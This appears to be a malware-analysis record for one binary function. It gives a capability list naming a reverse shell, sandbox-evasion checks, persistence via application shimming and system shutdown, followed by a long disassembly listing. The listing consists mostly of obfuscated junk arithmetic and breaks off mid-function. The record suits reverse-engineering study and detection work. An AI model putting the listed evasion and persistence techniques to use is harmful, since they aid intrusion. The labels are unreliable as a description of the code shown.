Function at 0x8b4070
Capabilities:
Accept command line arguments
Allocate thread local storage
Check for time delay via gettickcount
Check for time delay via queryperformancecounter
Check for unmoving mouse cursor
Check mutex and terminate process on windows
Check mutex on windows
Clear file content
Create pipe
Create process on windows
Create reverse shell
Create thread
Create two anonymous pipes
Delete file
Enumerate files on windows
Get common file path
Get file attributes
Get graphical window text
Get thread local storage value
Persist via application shimming
Query environment variable
Query or enumerate registry value
Read file on windows
Read pipe
Resolve dns
Set environment variable
Set registry value
Set thread local storage value
Shutdown system
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x390
push esi
push edi
mov dword [ebp - 0x34], 0x13cd4
mov dword [ebp - 0x20], 0x14c64
mov dword [ebp - 0x38], 0x16a04
mov dword [ebp - 0x50], 0x612d
mov dword [ebp - 4], 0x304
mov dword [ebp - 0x60], 0xf8f4
mov dword [ebp - 0x54], 0xfadc
mov dword [ebp - 0x4c], 0x553f
mov dword [ebp - 0x30], 0x165c6
mov dword [ebp - 0x48], 0x12cb0
mov dword [ebp - 0x5c], 0x11936
mov dword [ebp - 0x64], 0x14668
mov dword [ebp - 0x40], 0x11223
mov dword [ebp - 0x28], 0x142cf
mov dword [ebp - 0x3c], 0x51f7
mov dword [ebp - 0x1c], 0x10cc3
mov dword [ebp - 0x14], 0x1e00
mov dword [ebp - 0x2c], 0x95d1
mov dword [ebp - 0x10], 0xfc61
mov dword [ebp - 0x44], 0x18c1
mov dword [ebp - 0x18], 0xd469
mov dword [ebp - 0x24], 0xb83f
mov dword [ebp - 0xc], 0xda9b
mov dword [ebp - 8], 0x15a35
mov dword [ebp - 0x58], 0xd0ca
call fcn.0041aa20
mov eax, dword [ebp - 0x3c]
sub eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xf4], ecx
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0xf4]
cmp ecx, dword [ebp - 0xf8]
jge 0x8b416c
mov eax, dword [ebp - 0x40]
cdq
idiv dword [ebp - 8]
test eax, eax
jne 0x8b4180
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x1c]
jge 0x8b4189
mov ecx, dword [ebp - 0x58]
add ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 8]
sub eax, 0x122b5
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
jmp 0x8b41ae
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x40]
jge 0x8b43fa
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x2c]
jge 0x8b4268
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x100], eax
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0xfc]
cmp edx, dword [ebp - 0x100]
jge 0x8b421b
mov eax, dword [ebp - 0x60]
sub eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x60]
jl 0x8b424f
mov edx, dword [ebp - 0x50]
add edx, dword [ebp - 8]
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x104]
cmp edx, dword [ebp - 0x108]
jge 0x8b4268
mov eax, dword [ebp - 0x2c]
or eax, dword [ebp - 0x20]
je 0x8b4268
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x18]
jge 0x8b4268
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x34]
jge 0x8b4268
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x38]
jge 0x8b427b
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x24]
jl 0x8b4283
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x38]
jge 0x8b428c
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x3c]
sub ecx, 1
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x34]
jl 0x8b42cb
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
je 0x8b42bf
mov ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x58]
jl 0x8b42cb
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x10]
jge 0x8b43ec
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 4]
jge 0x8b43ec
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x34]
jge 0x8b43ec
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x28]
jge 0x8b43ec
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x64]
jge 0x8b43ec
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x10c], 0
je 0x8b4347
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x8b4347
mov ecx, dword [ebp - 0x3c]
xor ecx, dword [ebp - 0x50]
jne 0x8b438e
mov edx, dword [ebp - 0x60]
cmp edx, dword [ebp - 8]
jge 0x8b435b
mov dword [ebp - 0x84], 1
jmp 0x8b4365
mov dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x84]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x110], 0
je 0x8b43ec
mov edx, dword [ebp - 0x44]
sub edx, dword [ebp - 0x64]
je 0x8b43ec
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x20]
jge 0x8b43b4
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0x34]
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x114], 0
jne 0x8b43e3
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 8]
jl 0x8b43e3
mov eax, dword [ebp - 0x30]
cdq
idiv dword [ebp - 0x38]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x38]
sub ecx, 1
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x118], 0
jne 0x8b43e3
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x58]
jge 0x8b43ec
mov eax, dword [ebp - 0x54]
sub eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x58]
add ecx, 1
mov dword [ebp - 0x58], ecx
jmp 0x8b41a5
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x24f3
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x4c]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x4c], edx
jmp 0x8b442c
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 0x48]
jge 0x8b4774
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 4]
jge 0x8b447d
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x3c]
jge 0x8b447d
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x11c]
cmp edx, dword [ebp - 0x120]
jl 0x8b4495
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x38]
jge 0x8b4577
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x44]
jge 0x8b4577
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x34]
jge 0x8b44cf
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x28]
jge 0x8b44ba
mov dword [ebp - 0x88], 1
jmp 0x8b44c4
mov dword [ebp - 0x88], 0
mov edx, dword [ebp - 4]
and edx, dword [ebp - 0x88]
jne 0x8b450b
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jl 0x8b450b
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x124]
cmp ecx, dword [ebp - 0x128]
jge 0x8b4577
mov edx, dword [ebp - 0x30]
or edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x2c]
jge 0x8b4577
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x3c]
jge 0x8b4526
mov eax, dword [ebp - 0x30]
cdq
idiv dword [ebp - 0x10]
test eax, eax
je 0x8b4526
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp - 4]
jl 0x8b4537
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x64]
jge 0x8b4577
mov ecx, dword [ebp - 0x2c]
or ecx, dword [ebp - 0x28]
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x28]
sub edx, 1
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x12c], 0
je 0x8b455d
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x34]
jl 0x8b456e
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x24]
jge 0x8b4577
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x34]
jge 0x8b4587
mov edx, dword [ebp - 0x38]
and edx, dword [ebp - 8]
jne 0x8b45a0
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x1c]
jl 0x8b45a0
mov edx, dword [ebp - 0x24]
or edx, dword [ebp - 0x44]
je 0x8b45a9
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
xor ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x60]
jge 0x8b45d0
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x60]
jge 0x8b45d0
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x5c]
jge 0x8b45d0
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x38]
or eax, dword [ebp - 0x5c]
jne 0x8b462f
mov ecx, dword [ebp - 0x10]
and ecx, dword [ebp - 0x50]
jne 0x8b462f
mov edx, dword [ebp - 0x64]
sub edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
and eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x54]
jge 0x8b4662
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x40]
jge 0x8b4611
mov dword [ebp - 0x8c], 1
jmp 0x8b461b
mov dword [ebp - 0x8c], 0
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 0x8c]
je 0x8b4662
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 0x28]
mov dword [ebp - 0x130], ecx
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x130], 0
jne 0x8b4659
mov eax, dword [ebp - 0x30]
xor eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x2c]
jge 0x8b4662
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x58]
imul eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 4]
jl 0x8b46eb
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x50]
jge 0x8b4687
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x54]
jl 0x8b46eb
mov eax, dword [ebp - 0x34]
sub eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x38]
jge 0x8b46f4
mov edx, dword [ebp - 4]
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x134]
cmp edx, dword [ebp - 0x138]
jge 0x8b46cd
mov dword [ebp - 0x90], 1
jmp 0x8b46d7
mov dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
xor ecx, dword [ebp - 0x90]
je 0x8b46f4
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x14]
xor ecx, dword [ebp - 0x30]
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x13c], 0
je 0x8b476f
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x144], ecx
mov edx, dword [ebp - 0x58]
sub edx, 1
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x140]
cmp eax, dword [ebp - 0x144]
jge 0x8b475e
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jl 0x8b4766
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x2c]
jge 0x8b476f
mov edx, dword [ebp - 0x30]
sub edx, 1
mov dword [ebp - 0x30], edx
jmp 0x8b4423
mov eax, dword [ebp - 0x20]
sub eax, 0x4709
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x34], ecx
jmp 0x8b4793
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 8]
jge 0x8b4977
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x40]
imul edx, dword [ebp - 0x48]
test edx, edx
je 0x8b4807
mov eax, dword [ebp - 0x5c]
sub eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x64]
jge 0x8b4807
mov eax, dword [ebp - 0x28]
xor eax, dword [ebp - 0x50]
je 0x8b4807
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x148], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x148]
cmp ecx, dword [ebp - 0x14c]
jge 0x8b4807
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x28]
jl 0x8b4846
mov ecx, dword [ebp - 0x54]
sub ecx, 1
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x5c]
sub edx, dword [ebp - 0x54]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x150], 0
je 0x8b483e
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x40]
jne 0x8b4846
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x60]
jge 0x8b486f
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 4]
jl 0x8b4866
mov ecx, dword [ebp - 0x20]
or ecx, dword [ebp - 0x1c]
je 0x8b486f
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x60]
jge 0x8b486f
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x28]
jge 0x8b486f
mov ecx, dword [ebp - 0x54]
add ecx, 1
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0x5c]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x154]
cmp edx, dword [ebp - 0x158]
jl 0x8b490c
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x15c], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x160], ecx
mov edx, dword [ebp - 0x4c]
sub edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x15c]
cmp eax, dword [ebp - 0x160]
jl 0x8b490c
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x168], edx
mov eax, dword [ebp - 0x50]
sub eax, 1
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x164]
cmp ecx, dword [ebp - 0x168]
jge 0x8b4915
mov edx, dword [ebp - 0x38]
imul edx, dword [ebp - 4]
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x16c], 0
je 0x8b4915
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x44]
jl 0x8b4946
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x50]
jl 0x8b4946
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 4]
jge 0x8b494f
mov ecx, dword [ebp - 0x60]
sub ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 4]
jge 0x8b4960
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x50]
sub ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x58]
sub edx, 1
mov dword [ebp - 0x58], edx
jmp 0x8b478a
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x1cc], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x8f2c
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x10], edx
jmp 0x8b49a0
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x58]
jge 0x8b4ab1
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x28]
jge 0x8b49d6
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0xc]
jl 0x8b49cd
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x44]
jge 0x8b49d6
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x64]
sub eax, 1
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x170], edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x48]
sub ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0x174]
jl 0x8b4a34
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x3c]
jge 0x8b4a9a
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x48]
jge 0x8b4a65
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x17c], ecx
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x178]
cmp eax, dword [ebp - 0x17c]
jl 0x8b4a91
mov ecx, dword [ebp - 0x28]
and ecx, dword [ebp - 0x18]
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x180]
cmp ecx, dword [ebp - 0x184]
jge 0x8b4a9a
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
jmp 0x8b4997
mov edx, dword [ebp - 8]
add edx, 0x7dbd
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x8b4ad1
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x24]
jge 0x8b4d2d
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x14]
jge 0x8b4af1
mov dword [ebp - 0x94], 1
jmp 0x8b4afb
mov dword [ebp - 0x94], 0
mov ecx, dword [ebp - 0x40]
xor ecx, dword [ebp - 0x94]
mov dword [ebp - 0x188], ecx
mov edx, dword [ebp - 0x40]
sub edx, 1
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x188], 0
je 0x8b4b4d
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x20]
jge 0x8b4b4d
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x18c], ecx
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x190], edx
mov eax, dword [ebp - 0x50]
sub eax, 1
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x18c]
cmp ecx, dword [ebp - 0x190]
jl 0x8b4b97
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x3c]
jge 0x8b4b61
mov dword [ebp - 0x98], 1
jmp 0x8b4b6b
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x4c]
and eax, dword [ebp - 0x98]
mov dword [ebp - 0x194], eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 1
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x194], 0
jne 0x8b4b97
mov edx, dword [ebp - 0x44]
or edx, dword [ebp - 0x60]
cmp edx, dword [ebp - 0x54]
jge 0x8b4ba8
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x48]
jge 0x8b4ba8
mov ecx, dword [ebp - 0x2c]
sub ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0xc]
test eax, eax
je 0x8b4bd6
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x48]
jge 0x8b4bd6
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x64]
sub edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x30]
jge 0x8b4c13
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x38]
jge 0x8b4c13
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x4c]
or edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x3c]
jl 0x8b4c36
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x20]
je 0x8b4d28
mov ecx, dword [ebp - 0x60]
xor ecx, dword [ebp - 0x10]
je 0x8b4d28
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x44]
jl 0x8b4c77
mov eax, dword [ebp - 0x40]
add eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0x40]
jne 0x8b4c77
mov edx, dword [ebp - 0x60]
add edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0xc]
jl 0x8b4c77
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0xc]
jl 0x8b4c77
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
or edx, dword [ebp - 0x38]
je 0x8b4d28
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xc]
jl 0x8b4cc9
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
je 0x8b4cb9
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x30]
jge 0x8b4ca4
mov dword [ebp - 0x9c], 1
jmp 0x8b4cae
mov dword [ebp - 0x9c], 0
mov ecx, dword [ebp - 0x3c]
xor ecx, dword [ebp - 0x9c]
jne 0x8b4cc9
mov edx, dword [ebp - 0x60]
cmp edx, dword [ebp - 0x58]
jge 0x8b4d28
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x14]
jge 0x8b4d28
mov ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x198]
cmp ecx, dword [ebp - 0x19c]
jge 0x8b4d28
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0xc]
jge 0x8b4d28
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x28]
jge 0x8b4d28
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 8]
